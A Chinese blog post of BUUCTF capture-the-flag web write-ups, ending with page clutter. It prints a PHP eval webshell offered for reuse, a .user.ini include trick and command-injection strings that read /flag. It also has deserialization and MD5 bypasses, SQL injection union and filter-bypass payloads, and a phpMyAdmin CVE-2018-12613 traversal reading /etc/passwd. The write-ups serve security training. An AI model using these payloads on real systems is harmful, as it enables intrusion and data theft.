Buuctf部分题解

[极客大挑战 2019]Http1

在这里插入图片描述
老规矩,查看源代码


                <!-- Two -->
                    <section id="two" class="wrapper alt style2">
                        <section class="spotlight">
                            <div class="image"><img src="images/pic01.jpg" alt="" /></div><div class="content">
                                <h2>小组简介</h2>
                                <p>·成立时间:2005年3月<br /><br />
                                ·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术<br /><br />
                                ·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研究团队,为广大的在校同学营造一个良好的信息安全技术<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>!</p>
                            </div>
                        </section>

发现有一个隐藏的网页secret.php,点击
在这里插入图片描述

注:
1、HTTP Referer是header的一部分,当浏览器发送请求的时候带上Referer,告诉服务器该网页是从哪个页面链接过来的。
2、User Agent,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

紧接着使用burp抓包
在这里插入图片描述
提示浏览器不对,一般访问浏览器的名字都会被设置在UA参数中。如
在这里插入图片描述
将其改成
在这里插入图片描述
还要调整X-Forwarded-For: 127.0.0.1,然后成功拿到flag
在这里插入图片描述

[极客大挑战 2019]Knife1

启动靶机
在这里插入图片描述
打开后发现有一个一句话木马,尝试用蚁剑连接一下
在这里插入图片描述
连接成功,发现flag在文件夹/下

[极客大挑战 2019]Upload1

本题为文件上传,先上传一个php文件
在这里插入图片描述
意料之内,然后使用burp抓包,修改Content-Type为image/jpeg,然后

在这里插入图片描述
开来不能php文件被拉入黑名单了,使用不常见的文件后缀名phtml绕过
在这里插入图片描述
看来<?被过滤掉了,我们换

GIF89a? <script language="php">eval($_REQUEST[feng])</script>

上传成功,蚁剑连接
在这里插入图片描述
本题得解

[极客大挑战 2019]PHP1

在这里插入图片描述
我们来看下这道题,打开后有提示备份文件,对于备份文件我们可以使用御剑扫描后台目录
在这里插入图片描述
下载这个www.zip后发现
在这里插入图片描述
有这些文件,首先打开flag.php,发现不是我们想要的flag,所以我们打开class.php,

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

首先我们注意关于username和password都是private,这个在下面的解答中会用到
在这里插入图片描述
然后打开index.php观察这个代码,由unserialize()知涉及反序列化,再打开class.php
在这里插入图片描述
我们可以知道只有username为admin时且password为100时,才会输出flag
而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。由此我们可以构造playload

$a= new Name('admin',100);
$b= serialize($a);
var_dump($b);

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
此时我们需要注意两个点,一个是private属性序列化:%00类名%00成员名,所有要在Name、username、以及password前面加%00,另一个是关于_wakeup函数,因为要绕过wakeup,把Name后的数字改成3,当反序列化时,若属性个数大于真实属性个数时,则会跳过__wakeup(),本题得解
在这里插入图片描述

Buuctf__[SUCTF 2019]CheckIn 1

打开题目
在这里插入图片描述发现这是一道问价上传题
打开https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn,查看源码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

PHP判断文件是否为图片的函数为:exif_imagetype();
也就是说这个题只能上传。
这里要使用图片马,制作方式详见图片马的制作,在这里我问就不赘述了。
注意本题对<?进行了过滤,所以在webshell的选择上应该替换掉<?,
这里有一个我的webshell供大家使用。
GIF89a? <script language="php">eval($_REQUEST[feng])</script>

但是发现无法上传,看了大佬博客后有所领悟,需要用到user.ini,这里有一个讲的非常好的大佬博客
简单来说就是:user.ini是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
auto_prepend_file 或 auto_append_file

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件
什么意思呢,相当于在每个php页面加上一句 include() ,可以在PHP中加载执行另一个PHP文件。
注意,是每个,也就是说只要有 PHP 文件被加载,就会去加载执行这个文件,而且是以 PHP 的方式解析。
所以,我们上面绕过了了文件验证,上传了一个 .user.ini 文件,再上传一个图片马,让被执行的 PHP 文件去包含执行我们的图片马,就可以用蚁剑连接来得到flag。
1、制作user.ini

GIF89a
auto_prepend_file=test.jpg

在这里插入图片描述

2、制作图片马
在这里插入图片描述先上传user.ini
在这里插入图片描述再上传图片马
在这里插入图片描述

使用蚁剑连接
在这里插入图片描述这里要注意图片马的路径,不然会返回数据为空,本题得解!

[ACTF2020 新生赛]Exec1

在这里插入图片描述打开题目,这是一道命令注入题,尝试一下
在这里插入图片描述这里要用到命令注入相关知识

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
然后浏览目录,输入127.0.0.1 | ls,发现只有一个index.php,查看它的上级目录,127.0.0.1 | ls/
在这里插入图片描述
然后使用cat,127.0.0.1|cat /flag在这里插入图片描述

[GXYCTF2019]Ping Ping Ping1

在这里插入图片描述发现可以直接ping通,然后查看目录,发现flag.php
在这里插入图片描述
在这里插入图片描述
空格被过滤掉了,参考了一下大佬博客这里介绍一下绕过空格的姿势

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

在这里插入图片描述
发现flag被过滤掉了,这里可以采用拼接的方法
构造playload:127.0.0.1;a=g;cat$IFS$9la$a.php
在这里插入图片描述

这里我再提供一种方法
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说

cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

构造payload /?ip=127.0.0.1;cat$IFS$9`ls`

[BJDCTF2020]Easy MD5 1

在这里插入图片描述
打开题目,出现一个输入框,无论怎么尝试,都没有回显,查看一下响应头,发现了hint。
在这里插入图片描述
查看了一下百度,md5函数
在这里插入图片描述

md5(string, raw) raw 可选,默认为false
true:返回16字符2进制格式
false:返回32字符16进制格式
简单来说就是 true16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
转成字符串后: 'or’6

对于MD5($ pass,true)的绕过,在这里提供两种方法提供两个字符串: ffifdyop、129581926211651571912466741651878684928,由于题目有长度限制,所以用第一个。
在这里插入图片描述
出现了这个页面,查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这段代码要求定义两个变量a,b,且a和b的值不相等,但是a和b经过md5解码后值相等。直接传入ab为数组就行,这是因为 md5 函数不能处理数组。或者传入两个md5开头为0e的字符串。
构造playload:

?a=s155964671a&b=s214587387a
或
?a[]=1a&b[]=2

跳转页面,出现了一串代码

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

与上面那段代码原理一致,直接构造payload

param1[]=1&param2[]=2

本题得解!
在这里插入图片描述

[ACTF2020 新生赛]BackupFile1

打开题目
在这里插入图片描述很明显这是一道网站备份文件的题,可以使用dirsearch扫描

在这里插入图片描述发现了index.php.bak,打开后发现是代码审计

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
在这里插入图片描述
本题得解

[GXYCTF2019]BabySQli

这是一道sql注入题
在这里插入图片描述在这里试了很多方式都进不去,查看源码
在这里插入图片描述发现有个search.php,打开后发现有一串字符串

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

这个是base32编码方式,对其解码

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

末尾等号是两个,是base64编码方式

select * from user where username = '$name'

这提示我们要用select语句,常规的猜测字段的语句为

1' union select 1,2#

可以测出user这个表一共有三列,猜测分别为id,username,password(经验)。
在这里,这道题的用户名和密码分开检验,也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密。

我们在注入的时候,发现会回显“wrong user!”,但当我们是测试admin用户时却回显wrong pass!(密码错误),很明显这里绝对存在admin这个账号。此时,我们的思路就是登上admin用户或者得到admin的密码。

在这里插入图片描述在这里插入图片描述这里有个重要的知识,联合一个不存在的数据时,联合查询会构造出一个虚拟的数据,我们可以利用这个虚拟的数据登录,而使用联合查询也是最开始search.php相耦合
我们在用户名处输入1’ union select 1,‘admin’,‘202cb962ac59075b964b07152d234b70’#(202cb962ac59075b964b07152d234b70为123的md5加密值,此题由于过滤了括号,所以不能用md5()函数)。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户,得到flag。
这里要使用MD5的原因需要查看其在github上的源码
在这里插入图片描述

[极客大挑战 2019]BabySQL

在这里插入图片描述这是一道sql注入题,先使用万能密码。
在这里插入图片描述发现or被过滤掉了,于是我们进一步测试,发现过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符

知道了这样,我们就进行绕过,于是拼接字符,无法用order by 1来判断字段个数,我们只有使用联合查询看他是否能查出来,应该列数不太多,于是我们构造

pyload:?username=admin&password=admin’ uunionnion sselectelect 1,2%23
这里是利用了双写绕过,它的原理是双写代码,例如:uniunionon,浏览器会过滤掉其中一个union,刚好还剩下另一个union,实现绕过。

在这里插入图片描述报错列不一样,于是我们继续利用联合查询的性质猜测列数
在这里插入图片描述
有三列,然后我们开始查表:?username=admin&password=admin’ uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

在这里插入图片描述有两张表,接下来该爆破字段了
?username=admin&password=admin’ uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql’%23
在这里插入图片描述
有三列,分别是id,username,password,这也是大多数sql注入中表的格式。 接下来我们就开始爆数据
?username=admin&password=admin’ uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

然后我们的flag就呈现到自己的面前了,

在这里插入图片描述本题得解

[极客大挑战 2019]LoveSQL1

打开题目
在这里插入图片描述
很明显这是一道SQL注入漏洞的题,我们试一下单引号闭合,发现可以
在这里插入图片描述
出现报错
判断列数

admin' order by 4#

在这里插入图片描述

admin' order by 3#

在这里插入图片描述
说明有3列,然后爆破数据库

在这里插入图片描述
数据库名为geek

下一步爆破表名

-admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

在这里插入图片描述
爆破列
在这里插入图片描述
最后爆破username以及password

-admin' union select 1,group_concat(username),group_concat(password) from  l0ve1ysq1 #

在这里插入图片描述

[GWCTF 2019]我有一个数据库1

打开题目
在这里插入图片描述
一堆乱码,应该是网页编码,不过这不重要。用dirsearch扫一下后台目录
在这里插入图片描述
直接找到
在这里插入图片描述
发现有phpmyadmin后台文件,打开查看版本
在这里插入图片描述
发现版本是4.8,这个版本有一个漏洞就是CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析,这里为大家着重分析一下这个漏洞。我们先看下l漏洞源码。

if(!empty($_REQUEST['target']))
&& is_string($_REQUEST['target'])
&& !pre_match('/^index',$_REQUEST['target'])
&& ! in_arry($_REQUEST['target'],$target_blacklist)
&&  Core::checkPageValidity($_REQUEST['target'])
) { 
include $_REQUEST['target'];
exit;
}
  1. 是否存在target参数

  2. target参数是否为字符串

  3. 值不能以index开头

  4. 值不能出现在$target_blacklist内

  5. Core类的checkPageValidity方法判断

前四个都好理解,对于第四个条件我们可以看$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以,然后进入第五个判断。
首先找到Core类的checkPageValidity函数,首先找到Core类的checkPageValidity函数,在文件libraries/classes/Core.php文件中。

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

checkPageValidity函数里又是五个判断:

  1. $whitelist为空则引用静态声明的$goto_whitelist

  2. 如果$page没有被定义过或者$page不为字符串则return false

  3. $page存在$whitelist中的某个值则返回true

  4. $_page存在$whitelist中的某个值则返回true

  5. 经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

问题就出在urldecode函数上,我们可以对?进行两次url编码。
第一次

在这里插入图片描述
第二次
在这里插入图片描述
服务器会自动解码一次,而urldecode会再解码一次,如此就可以绕过白名单检测实行目录穿越漏洞。playload如下

http://c728d8a9-e070-4806-a4de-4dda165ff034.node4.buuoj.cn:81/phpmyadmin/index.php?target=user_password.php%253F../../../../../../etc/passwd

在这里插入图片描述

http://c728d8a9-e070-4806-a4de-4dda165ff034.node4.buuoj.cn:81/phpmyadmin/index.php?target=user_password.php%253F../../../../../../flag

在这里插入图片描述

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适合你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择合适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关注特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符合条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值